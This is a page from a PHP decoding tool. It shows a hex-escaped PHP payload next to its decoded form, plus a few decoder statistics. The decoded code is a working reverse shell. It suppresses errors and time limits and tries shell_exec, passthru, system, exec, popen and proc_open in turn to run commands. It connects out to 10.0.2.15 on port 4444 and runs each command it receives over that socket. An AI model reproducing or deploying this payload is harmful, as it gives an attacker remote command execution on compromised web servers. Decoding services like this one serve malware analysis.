Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

"\x20\x20\x20\x20\x2f\x2a\x3c\x3f\x70\x68\x70\x20\x2f\x2a" + "\x2a\x2f\x0a\x20\x20\x20\x2..

Decoded Output download

<?  "    /*<?php /*" + 
"*/
      @erro" + 
"r_reporting(0)" + 
";
      @set_t" + 
"ime_limit(0); " + 
"@ignore_user_a" + 
"bort(1); @ini_" + 
"set('max_execu" + 
"tion_time',0);" + 
"
      $dis=@i" + 
"ni_get('disabl" + 
"e_functions');" + 
"
      if(!emp" + 
"ty($dis)){
   " + 
"     $dis=preg" + 
"_replace('/[, " + 
"]+/', ',', $di" + 
"s);
        $d" + 
"is=explode(','" + 
", $dis);
     " + 
"   $dis=array_" + 
"map('trim', $d" + 
"is);
      }el" + 
"se{
        $d" + 
"is=array();
  " + 
"    }
      
 " + 
"   $ipaddr='10" + 
".0.2.15';
    " + 
"$port=4444;

 " + 
"   if(!functio" + 
"n_exists('DHzk" + 
"Izl')){
      " + 
"function DHzkI" + 
"zl($c){
      " + 
"  global $dis;" + 
"
        
    " + 
"  if (FALSE !=" + 
"= strpos(strto" + 
"lower(PHP_OS)," + 
" 'win' )) {
  " + 
"      $c=$c." " + 
"2>&1
";
     " + 
" }
      $odQA" + 
"Oyl='is_callab" + 
"le';
      $XA" + 
"QBVYt='in_arra" + 
"y';
      
   " + 
"   if($odQAOyl" + 
"('shell_exec')" + 
"and!$XAQBVYt('" + 
"shell_exec',$d" + 
"is)){
        " + 
"$o=shell_exec(" + 
"$c);
      }el" + 
"se
      if($o" + 
"dQAOyl('passth" + 
"ru')and!$XAQBV" + 
"Yt('passthru'," + 
"$dis)){
      " + 
"  ob_start();
" + 
"        passth" + 
"ru($c);
      " + 
"  $o=ob_get_co" + 
"ntents();
    " + 
"    ob_end_cle" + 
"an();
      }e" + 
"lse
      if($" + 
"odQAOyl('syste" + 
"m')and!$XAQBVY" + 
"t('system',$di" + 
"s)){
        o" + 
"b_start();
   " + 
"     system($c" + 
");
        $o=" + 
"ob_get_content" + 
"s();
        o" + 
"b_end_clean();" + 
"
      }else
 " + 
"     if($odQAO" + 
"yl('exec')and!" + 
"$XAQBVYt('exec" + 
"',$dis)){
    " + 
"    $o=array()" + 
";
        exec" + 
"($c,$o);
     " + 
"   $o=join(chr" + 
"(10),$o).chr(1" + 
"0);
      }els" + 
"e
      if($od" + 
"QAOyl('popen')" + 
"and!$XAQBVYt('" + 
"popen',$dis)){" + 
"
        $fp=p" + 
"open($c,'r');
" + 
"        $o=NUL" + 
"L;
        if(" + 
"is_resource($f" + 
"p)){
         " + 
" while(!feof($" + 
"fp)){
        " + 
"    $o.=fread(" + 
"$fp,1024);
   " + 
"       }
     " + 
"   }
        @" + 
"pclose($fp);
 " + 
"     }else
   " + 
"   if($odQAOyl" + 
"('proc_open')a" + 
"nd!$XAQBVYt('p" + 
"roc_open',$dis" + 
")){
        $h" + 
"andle=proc_ope" + 
"n($c,array(arr" + 
"ay('pipe','r')" + 
",array('pipe'," + 
"'w'),array('pi" + 
"pe','w')),$pip" + 
"es);
        $" + 
"o=NULL;
      " + 
"  while(!feof(" + 
"$pipes[1])){
 " + 
"         $o.=f" + 
"read($pipes[1]" + 
",1024);
      " + 
"  }
        @p" + 
"roc_close($han" + 
"dle);
      }e" + 
"lse
      {
  " + 
"      $o=0;
  " + 
"    }
    
   " + 
"     return $o" + 
";
      }
    " + 
"}
    $nofuncs" + 
"='no exec func" + 
"tions';
    if" + 
"(is_callable('" + 
"fsockopen')and" + 
"!in_array('fso" + 
"ckopen',$dis))" + 
"{
      $s=@fs" + 
"ockopen("tcp:/" + 
"/10.0.2.15",$p" + 
"ort);
      wh" + 
"ile($c=fread($" + 
"s,2048)){
    " + 
"    $out = '';" + 
"
        if(su" + 
"bstr($c,0,3) =" + 
"= 'cd '){
    " + 
"      chdir(su" + 
"bstr($c,3,-1))" + 
";
        } el" + 
"se if (substr(" + 
"$c,0,4) == 'qu" + 
"it' || substr(" + 
"$c,0,4) == 'ex" + 
"it') {
       " + 
"   break;
    " + 
"    }else{
   " + 
"       $out=DH" + 
"zkIzl(substr($" + 
"c,0,-1));
    " + 
"      if($out=" + 
"==false){
    " + 
"        fwrite" + 
"($s,$nofuncs);" + 
"
            b" + 
"reak;
        " + 
"  }
        }
" + 
"        fwrite" + 
"($s,$out);
   " + 
"   }
      fcl" + 
"ose($s);
    }" + 
"else{
      $s" + 
"=@socket_creat" + 
"e(AF_INET,SOCK" + 
"_STREAM,SOL_TC" + 
"P);
      @soc" + 
"ket_connect($s" + 
",$ipaddr,$port" + 
");
      @sock" + 
"et_write($s,"s" + 
"ocket_create")" + 
";
      while(" + 
"$c=@socket_rea" + 
"d($s,2048)){
 " + 
"       $out = " + 
"'';
        if" + 
"(substr($c,0,3" + 
") == 'cd '){
 " + 
"         chdir" + 
"(substr($c,3,-" + 
"1));
        }" + 
" else if (subs" + 
"tr($c,0,4) == " + 
"'quit' || subs" + 
"tr($c,0,4) == " + 
"'exit') {
    " + 
"      break;
 " + 
"       }else{
" + 
"          $out" + 
"=DHzkIzl(subst" + 
"r($c,0,-1));
 " + 
"         if($o" + 
"ut===false){
 " + 
"           @so" + 
"cket_write($s," + 
"$nofuncs);
   " + 
"         break" + 
";
          }
" + 
"        }
    " + 
"    @socket_wr" + 
"ite($s,$out,st" + 
"rlen($out));
 " + 
"     }
      @" + 
"socket_close($" + 
"s);
    }
" ?>

Did this file decode correctly?

Original Code

"\x20\x20\x20\x20\x2f\x2a\x3c\x3f\x70\x68\x70\x20\x2f\x2a" +
"\x2a\x2f\x0a\x20\x20\x20\x20\x20\x20\x40\x65\x72\x72\x6f" +
"\x72\x5f\x72\x65\x70\x6f\x72\x74\x69\x6e\x67\x28\x30\x29" +
"\x3b\x0a\x20\x20\x20\x20\x20\x20\x40\x73\x65\x74\x5f\x74" +
"\x69\x6d\x65\x5f\x6c\x69\x6d\x69\x74\x28\x30\x29\x3b\x20" +
"\x40\x69\x67\x6e\x6f\x72\x65\x5f\x75\x73\x65\x72\x5f\x61" +
"\x62\x6f\x72\x74\x28\x31\x29\x3b\x20\x40\x69\x6e\x69\x5f" +
"\x73\x65\x74\x28\x27\x6d\x61\x78\x5f\x65\x78\x65\x63\x75" +
"\x74\x69\x6f\x6e\x5f\x74\x69\x6d\x65\x27\x2c\x30\x29\x3b" +
"\x0a\x20\x20\x20\x20\x20\x20\x24\x64\x69\x73\x3d\x40\x69" +
"\x6e\x69\x5f\x67\x65\x74\x28\x27\x64\x69\x73\x61\x62\x6c" +
"\x65\x5f\x66\x75\x6e\x63\x74\x69\x6f\x6e\x73\x27\x29\x3b" +
"\x0a\x20\x20\x20\x20\x20\x20\x69\x66\x28\x21\x65\x6d\x70" +
"\x74\x79\x28\x24\x64\x69\x73\x29\x29\x7b\x0a\x20\x20\x20" +
"\x20\x20\x20\x20\x20\x24\x64\x69\x73\x3d\x70\x72\x65\x67" +
"\x5f\x72\x65\x70\x6c\x61\x63\x65\x28\x27\x2f\x5b\x2c\x20" +
"\x5d\x2b\x2f\x27\x2c\x20\x27\x2c\x27\x2c\x20\x24\x64\x69" +
"\x73\x29\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x24\x64" +
"\x69\x73\x3d\x65\x78\x70\x6c\x6f\x64\x65\x28\x27\x2c\x27" +
"\x2c\x20\x24\x64\x69\x73\x29\x3b\x0a\x20\x20\x20\x20\x20" +
"\x20\x20\x20\x24\x64\x69\x73\x3d\x61\x72\x72\x61\x79\x5f" +
"\x6d\x61\x70\x28\x27\x74\x72\x69\x6d\x27\x2c\x20\x24\x64" +
"\x69\x73\x29\x3b\x0a\x20\x20\x20\x20\x20\x20\x7d\x65\x6c" +
"\x73\x65\x7b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x24\x64" +
"\x69\x73\x3d\x61\x72\x72\x61\x79\x28\x29\x3b\x0a\x20\x20" +
"\x20\x20\x20\x20\x7d\x0a\x20\x20\x20\x20\x20\x20\x0a\x20" +
"\x20\x20\x20\x24\x69\x70\x61\x64\x64\x72\x3d\x27\x31\x30" +
"\x2e\x30\x2e\x32\x2e\x31\x35\x27\x3b\x0a\x20\x20\x20\x20" +
"\x24\x70\x6f\x72\x74\x3d\x34\x34\x34\x34\x3b\x0a\x0a\x20" +
"\x20\x20\x20\x69\x66\x28\x21\x66\x75\x6e\x63\x74\x69\x6f" +
"\x6e\x5f\x65\x78\x69\x73\x74\x73\x28\x27\x44\x48\x7a\x6b" +
"\x49\x7a\x6c\x27\x29\x29\x7b\x0a\x20\x20\x20\x20\x20\x20" +
"\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x44\x48\x7a\x6b\x49" +
"\x7a\x6c\x28\x24\x63\x29\x7b\x0a\x20\x20\x20\x20\x20\x20" +
"\x20\x20\x67\x6c\x6f\x62\x61\x6c\x20\x24\x64\x69\x73\x3b" +
"\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x0a\x20\x20\x20\x20" +
"\x20\x20\x69\x66\x20\x28\x46\x41\x4c\x53\x45\x20\x21\x3d" +
"\x3d\x20\x73\x74\x72\x70\x6f\x73\x28\x73\x74\x72\x74\x6f" +
"\x6c\x6f\x77\x65\x72\x28\x50\x48\x50\x5f\x4f\x53\x29\x2c" +
"\x20\x27\x77\x69\x6e\x27\x20\x29\x29\x20\x7b\x0a\x20\x20" +
"\x20\x20\x20\x20\x20\x20\x24\x63\x3d\x24\x63\x2e\x22\x20" +
"\x32\x3e\x26\x31\x5c\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20" +
"\x20\x7d\x0a\x20\x20\x20\x20\x20\x20\x24\x6f\x64\x51\x41" +
"\x4f\x79\x6c\x3d\x27\x69\x73\x5f\x63\x61\x6c\x6c\x61\x62" +
"\x6c\x65\x27\x3b\x0a\x20\x20\x20\x20\x20\x20\x24\x58\x41" +
"\x51\x42\x56\x59\x74\x3d\x27\x69\x6e\x5f\x61\x72\x72\x61" +
"\x79\x27\x3b\x0a\x20\x20\x20\x20\x20\x20\x0a\x20\x20\x20" +
"\x20\x20\x20\x69\x66\x28\x24\x6f\x64\x51\x41\x4f\x79\x6c" +
"\x28\x27\x73\x68\x65\x6c\x6c\x5f\x65\x78\x65\x63\x27\x29" +
"\x61\x6e\x64\x21\x24\x58\x41\x51\x42\x56\x59\x74\x28\x27" +
"\x73\x68\x65\x6c\x6c\x5f\x65\x78\x65\x63\x27\x2c\x24\x64" +
"\x69\x73\x29\x29\x7b\x0a\x20\x20\x20\x20\x20\x20\x20\x20" +
"\x24\x6f\x3d\x73\x68\x65\x6c\x6c\x5f\x65\x78\x65\x63\x28" +
"\x24\x63\x29\x3b\x0a\x20\x20\x20\x20\x20\x20\x7d\x65\x6c" +
"\x73\x65\x0a\x20\x20\x20\x20\x20\x20\x69\x66\x28\x24\x6f" +
"\x64\x51\x41\x4f\x79\x6c\x28\x27\x70\x61\x73\x73\x74\x68" +
"\x72\x75\x27\x29\x61\x6e\x64\x21\x24\x58\x41\x51\x42\x56" +
"\x59\x74\x28\x27\x70\x61\x73\x73\x74\x68\x72\x75\x27\x2c" +
"\x24\x64\x69\x73\x29\x29\x7b\x0a\x20\x20\x20\x20\x20\x20" +
"\x20\x20\x6f\x62\x5f\x73\x74\x61\x72\x74\x28\x29\x3b\x0a" +
"\x20\x20\x20\x20\x20\x20\x20\x20\x70\x61\x73\x73\x74\x68" +
"\x72\x75\x28\x24\x63\x29\x3b\x0a\x20\x20\x20\x20\x20\x20" +
"\x20\x20\x24\x6f\x3d\x6f\x62\x5f\x67\x65\x74\x5f\x63\x6f" +
"\x6e\x74\x65\x6e\x74\x73\x28\x29\x3b\x0a\x20\x20\x20\x20" +
"\x20\x20\x20\x20\x6f\x62\x5f\x65\x6e\x64\x5f\x63\x6c\x65" +
"\x61\x6e\x28\x29\x3b\x0a\x20\x20\x20\x20\x20\x20\x7d\x65" +
"\x6c\x73\x65\x0a\x20\x20\x20\x20\x20\x20\x69\x66\x28\x24" +
"\x6f\x64\x51\x41\x4f\x79\x6c\x28\x27\x73\x79\x73\x74\x65" +
"\x6d\x27\x29\x61\x6e\x64\x21\x24\x58\x41\x51\x42\x56\x59" +
"\x74\x28\x27\x73\x79\x73\x74\x65\x6d\x27\x2c\x24\x64\x69" +
"\x73\x29\x29\x7b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x6f" +
"\x62\x5f\x73\x74\x61\x72\x74\x28\x29\x3b\x0a\x20\x20\x20" +
"\x20\x20\x20\x20\x20\x73\x79\x73\x74\x65\x6d\x28\x24\x63" +
"\x29\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x24\x6f\x3d" +
"\x6f\x62\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74" +
"\x73\x28\x29\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x6f" +
"\x62\x5f\x65\x6e\x64\x5f\x63\x6c\x65\x61\x6e\x28\x29\x3b" +
"\x0a\x20\x20\x20\x20\x20\x20\x7d\x65\x6c\x73\x65\x0a\x20" +
"\x20\x20\x20\x20\x20\x69\x66\x28\x24\x6f\x64\x51\x41\x4f" +
"\x79\x6c\x28\x27\x65\x78\x65\x63\x27\x29\x61\x6e\x64\x21" +
"\x24\x58\x41\x51\x42\x56\x59\x74\x28\x27\x65\x78\x65\x63" +
"\x27\x2c\x24\x64\x69\x73\x29\x29\x7b\x0a\x20\x20\x20\x20" +
"\x20\x20\x20\x20\x24\x6f\x3d\x61\x72\x72\x61\x79\x28\x29" +
"\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x65\x78\x65\x63" +
"\x28\x24\x63\x2c\x24\x6f\x29\x3b\x0a\x20\x20\x20\x20\x20" +
"\x20\x20\x20\x24\x6f\x3d\x6a\x6f\x69\x6e\x28\x63\x68\x72" +
"\x28\x31\x30\x29\x2c\x24\x6f\x29\x2e\x63\x68\x72\x28\x31" +
"\x30\x29\x3b\x0a\x20\x20\x20\x20\x20\x20\x7d\x65\x6c\x73" +
"\x65\x0a\x20\x20\x20\x20\x20\x20\x69\x66\x28\x24\x6f\x64" +
"\x51\x41\x4f\x79\x6c\x28\x27\x70\x6f\x70\x65\x6e\x27\x29" +
"\x61\x6e\x64\x21\x24\x58\x41\x51\x42\x56\x59\x74\x28\x27" +
"\x70\x6f\x70\x65\x6e\x27\x2c\x24\x64\x69\x73\x29\x29\x7b" +
"\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x24\x66\x70\x3d\x70" +
"\x6f\x70\x65\x6e\x28\x24\x63\x2c\x27\x72\x27\x29\x3b\x0a" +
"\x20\x20\x20\x20\x20\x20\x20\x20\x24\x6f\x3d\x4e\x55\x4c" +
"\x4c\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x69\x66\x28" +
"\x69\x73\x5f\x72\x65\x73\x6f\x75\x72\x63\x65\x28\x24\x66" +
"\x70\x29\x29\x7b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20" +
"\x20\x77\x68\x69\x6c\x65\x28\x21\x66\x65\x6f\x66\x28\x24" +
"\x66\x70\x29\x29\x7b\x0a\x20\x20\x20\x20\x20\x20\x20\x20" +
"\x20\x20\x20\x20\x24\x6f\x2e\x3d\x66\x72\x65\x61\x64\x28" +
"\x24\x66\x70\x2c\x31\x30\x32\x34\x29\x3b\x0a\x20\x20\x20" +
"\x20\x20\x20\x20\x20\x20\x20\x7d\x0a\x20\x20\x20\x20\x20" +
"\x20\x20\x20\x7d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x40" +
"\x70\x63\x6c\x6f\x73\x65\x28\x24\x66\x70\x29\x3b\x0a\x20" +
"\x20\x20\x20\x20\x20\x7d\x65\x6c\x73\x65\x0a\x20\x20\x20" +
"\x20\x20\x20\x69\x66\x28\x24\x6f\x64\x51\x41\x4f\x79\x6c" +
"\x28\x27\x70\x72\x6f\x63\x5f\x6f\x70\x65\x6e\x27\x29\x61" +
"\x6e\x64\x21\x24\x58\x41\x51\x42\x56\x59\x74\x28\x27\x70" +
"\x72\x6f\x63\x5f\x6f\x70\x65\x6e\x27\x2c\x24\x64\x69\x73" +
"\x29\x29\x7b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x24\x68" +
"\x61\x6e\x64\x6c\x65\x3d\x70\x72\x6f\x63\x5f\x6f\x70\x65" +
"\x6e\x28\x24\x63\x2c\x61\x72\x72\x61\x79\x28\x61\x72\x72" +
"\x61\x79\x28\x27\x70\x69\x70\x65\x27\x2c\x27\x72\x27\x29" +
"\x2c\x61\x72\x72\x61\x79\x28\x27\x70\x69\x70\x65\x27\x2c" +
"\x27\x77\x27\x29\x2c\x61\x72\x72\x61\x79\x28\x27\x70\x69" +
"\x70\x65\x27\x2c\x27\x77\x27\x29\x29\x2c\x24\x70\x69\x70" +
"\x65\x73\x29\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x24" +
"\x6f\x3d\x4e\x55\x4c\x4c\x3b\x0a\x20\x20\x20\x20\x20\x20" +
"\x20\x20\x77\x68\x69\x6c\x65\x28\x21\x66\x65\x6f\x66\x28" +
"\x24\x70\x69\x70\x65\x73\x5b\x31\x5d\x29\x29\x7b\x0a\x20" +
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x24\x6f\x2e\x3d\x66" +
"\x72\x65\x61\x64\x28\x24\x70\x69\x70\x65\x73\x5b\x31\x5d" +
"\x2c\x31\x30\x32\x34\x29\x3b\x0a\x20\x20\x20\x20\x20\x20" +
"\x20\x20\x7d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x40\x70" +
"\x72\x6f\x63\x5f\x63\x6c\x6f\x73\x65\x28\x24\x68\x61\x6e" +
"\x64\x6c\x65\x29\x3b\x0a\x20\x20\x20\x20\x20\x20\x7d\x65" +
"\x6c\x73\x65\x0a\x20\x20\x20\x20\x20\x20\x7b\x0a\x20\x20" +
"\x20\x20\x20\x20\x20\x20\x24\x6f\x3d\x30\x3b\x0a\x20\x20" +
"\x20\x20\x20\x20\x7d\x0a\x20\x20\x20\x20\x0a\x20\x20\x20" +
"\x20\x20\x20\x20\x20\x72\x65\x74\x75\x72\x6e\x20\x24\x6f" +
"\x3b\x0a\x20\x20\x20\x20\x20\x20\x7d\x0a\x20\x20\x20\x20" +
"\x7d\x0a\x20\x20\x20\x20\x24\x6e\x6f\x66\x75\x6e\x63\x73" +
"\x3d\x27\x6e\x6f\x20\x65\x78\x65\x63\x20\x66\x75\x6e\x63" +
"\x74\x69\x6f\x6e\x73\x27\x3b\x0a\x20\x20\x20\x20\x69\x66" +
"\x28\x69\x73\x5f\x63\x61\x6c\x6c\x61\x62\x6c\x65\x28\x27" +
"\x66\x73\x6f\x63\x6b\x6f\x70\x65\x6e\x27\x29\x61\x6e\x64" +
"\x21\x69\x6e\x5f\x61\x72\x72\x61\x79\x28\x27\x66\x73\x6f" +
"\x63\x6b\x6f\x70\x65\x6e\x27\x2c\x24\x64\x69\x73\x29\x29" +
"\x7b\x0a\x20\x20\x20\x20\x20\x20\x24\x73\x3d\x40\x66\x73" +
"\x6f\x63\x6b\x6f\x70\x65\x6e\x28\x22\x74\x63\x70\x3a\x2f" +
"\x2f\x31\x30\x2e\x30\x2e\x32\x2e\x31\x35\x22\x2c\x24\x70" +
"\x6f\x72\x74\x29\x3b\x0a\x20\x20\x20\x20\x20\x20\x77\x68" +
"\x69\x6c\x65\x28\x24\x63\x3d\x66\x72\x65\x61\x64\x28\x24" +
"\x73\x2c\x32\x30\x34\x38\x29\x29\x7b\x0a\x20\x20\x20\x20" +
"\x20\x20\x20\x20\x24\x6f\x75\x74\x20\x3d\x20\x27\x27\x3b" +
"\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x69\x66\x28\x73\x75" +
"\x62\x73\x74\x72\x28\x24\x63\x2c\x30\x2c\x33\x29\x20\x3d" +
"\x3d\x20\x27\x63\x64\x20\x27\x29\x7b\x0a\x20\x20\x20\x20" +
"\x20\x20\x20\x20\x20\x20\x63\x68\x64\x69\x72\x28\x73\x75" +
"\x62\x73\x74\x72\x28\x24\x63\x2c\x33\x2c\x2d\x31\x29\x29" +
"\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x7d\x20\x65\x6c" +
"\x73\x65\x20\x69\x66\x20\x28\x73\x75\x62\x73\x74\x72\x28" +
"\x24\x63\x2c\x30\x2c\x34\x29\x20\x3d\x3d\x20\x27\x71\x75" +
"\x69\x74\x27\x20\x7c\x7c\x20\x73\x75\x62\x73\x74\x72\x28" +
"\x24\x63\x2c\x30\x2c\x34\x29\x20\x3d\x3d\x20\x27\x65\x78" +
"\x69\x74\x27\x29\x20\x7b\x0a\x20\x20\x20\x20\x20\x20\x20" +
"\x20\x20\x20\x62\x72\x65\x61\x6b\x3b\x0a\x20\x20\x20\x20" +
"\x20\x20\x20\x20\x7d\x65\x6c\x73\x65\x7b\x0a\x20\x20\x20" +
"\x20\x20\x20\x20\x20\x20\x20\x24\x6f\x75\x74\x3d\x44\x48" +
"\x7a\x6b\x49\x7a\x6c\x28\x73\x75\x62\x73\x74\x72\x28\x24" +
"\x63\x2c\x30\x2c\x2d\x31\x29\x29\x3b\x0a\x20\x20\x20\x20" +
"\x20\x20\x20\x20\x20\x20\x69\x66\x28\x24\x6f\x75\x74\x3d" +
"\x3d\x3d\x66\x61\x6c\x73\x65\x29\x7b\x0a\x20\x20\x20\x20" +
"\x20\x20\x20\x20\x20\x20\x20\x20\x66\x77\x72\x69\x74\x65" +
"\x28\x24\x73\x2c\x24\x6e\x6f\x66\x75\x6e\x63\x73\x29\x3b" +
"\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x62" +
"\x72\x65\x61\x6b\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20" +
"\x20\x20\x7d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x7d\x0a" +
"\x20\x20\x20\x20\x20\x20\x20\x20\x66\x77\x72\x69\x74\x65" +
"\x28\x24\x73\x2c\x24\x6f\x75\x74\x29\x3b\x0a\x20\x20\x20" +
"\x20\x20\x20\x7d\x0a\x20\x20\x20\x20\x20\x20\x66\x63\x6c" +
"\x6f\x73\x65\x28\x24\x73\x29\x3b\x0a\x20\x20\x20\x20\x7d" +
"\x65\x6c\x73\x65\x7b\x0a\x20\x20\x20\x20\x20\x20\x24\x73" +
"\x3d\x40\x73\x6f\x63\x6b\x65\x74\x5f\x63\x72\x65\x61\x74" +
"\x65\x28\x41\x46\x5f\x49\x4e\x45\x54\x2c\x53\x4f\x43\x4b" +
"\x5f\x53\x54\x52\x45\x41\x4d\x2c\x53\x4f\x4c\x5f\x54\x43" +
"\x50\x29\x3b\x0a\x20\x20\x20\x20\x20\x20\x40\x73\x6f\x63" +
"\x6b\x65\x74\x5f\x63\x6f\x6e\x6e\x65\x63\x74\x28\x24\x73" +
"\x2c\x24\x69\x70\x61\x64\x64\x72\x2c\x24\x70\x6f\x72\x74" +
"\x29\x3b\x0a\x20\x20\x20\x20\x20\x20\x40\x73\x6f\x63\x6b" +
"\x65\x74\x5f\x77\x72\x69\x74\x65\x28\x24\x73\x2c\x22\x73" +
"\x6f\x63\x6b\x65\x74\x5f\x63\x72\x65\x61\x74\x65\x22\x29" +
"\x3b\x0a\x20\x20\x20\x20\x20\x20\x77\x68\x69\x6c\x65\x28" +
"\x24\x63\x3d\x40\x73\x6f\x63\x6b\x65\x74\x5f\x72\x65\x61" +
"\x64\x28\x24\x73\x2c\x32\x30\x34\x38\x29\x29\x7b\x0a\x20" +
"\x20\x20\x20\x20\x20\x20\x20\x24\x6f\x75\x74\x20\x3d\x20" +
"\x27\x27\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x69\x66" +
"\x28\x73\x75\x62\x73\x74\x72\x28\x24\x63\x2c\x30\x2c\x33" +
"\x29\x20\x3d\x3d\x20\x27\x63\x64\x20\x27\x29\x7b\x0a\x20" +
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x63\x68\x64\x69\x72" +
"\x28\x73\x75\x62\x73\x74\x72\x28\x24\x63\x2c\x33\x2c\x2d" +
"\x31\x29\x29\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x7d" +
"\x20\x65\x6c\x73\x65\x20\x69\x66\x20\x28\x73\x75\x62\x73" +
"\x74\x72\x28\x24\x63\x2c\x30\x2c\x34\x29\x20\x3d\x3d\x20" +
"\x27\x71\x75\x69\x74\x27\x20\x7c\x7c\x20\x73\x75\x62\x73" +
"\x74\x72\x28\x24\x63\x2c\x30\x2c\x34\x29\x20\x3d\x3d\x20" +
"\x27\x65\x78\x69\x74\x27\x29\x20\x7b\x0a\x20\x20\x20\x20" +
"\x20\x20\x20\x20\x20\x20\x62\x72\x65\x61\x6b\x3b\x0a\x20" +
"\x20\x20\x20\x20\x20\x20\x20\x7d\x65\x6c\x73\x65\x7b\x0a" +
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x24\x6f\x75\x74" +
"\x3d\x44\x48\x7a\x6b\x49\x7a\x6c\x28\x73\x75\x62\x73\x74" +
"\x72\x28\x24\x63\x2c\x30\x2c\x2d\x31\x29\x29\x3b\x0a\x20" +
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x69\x66\x28\x24\x6f" +
"\x75\x74\x3d\x3d\x3d\x66\x61\x6c\x73\x65\x29\x7b\x0a\x20" +
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x40\x73\x6f" +
"\x63\x6b\x65\x74\x5f\x77\x72\x69\x74\x65\x28\x24\x73\x2c" +
"\x24\x6e\x6f\x66\x75\x6e\x63\x73\x29\x3b\x0a\x20\x20\x20" +
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x62\x72\x65\x61\x6b" +
"\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x7d\x0a" +
"\x20\x20\x20\x20\x20\x20\x20\x20\x7d\x0a\x20\x20\x20\x20" +
"\x20\x20\x20\x20\x40\x73\x6f\x63\x6b\x65\x74\x5f\x77\x72" +
"\x69\x74\x65\x28\x24\x73\x2c\x24\x6f\x75\x74\x2c\x73\x74" +
"\x72\x6c\x65\x6e\x28\x24\x6f\x75\x74\x29\x29\x3b\x0a\x20" +
"\x20\x20\x20\x20\x20\x7d\x0a\x20\x20\x20\x20\x20\x20\x40" +
"\x73\x6f\x63\x6b\x65\x74\x5f\x63\x6c\x6f\x73\x65\x28\x24" +
"\x73\x29\x3b\x0a\x20\x20\x20\x20\x7d\x0a"

Function Calls

None

Variables

None

Stats

MD5 4fc86353b8c9cc87d36fa30e5dc51f57
Eval Count 0
Decode Time 198 ms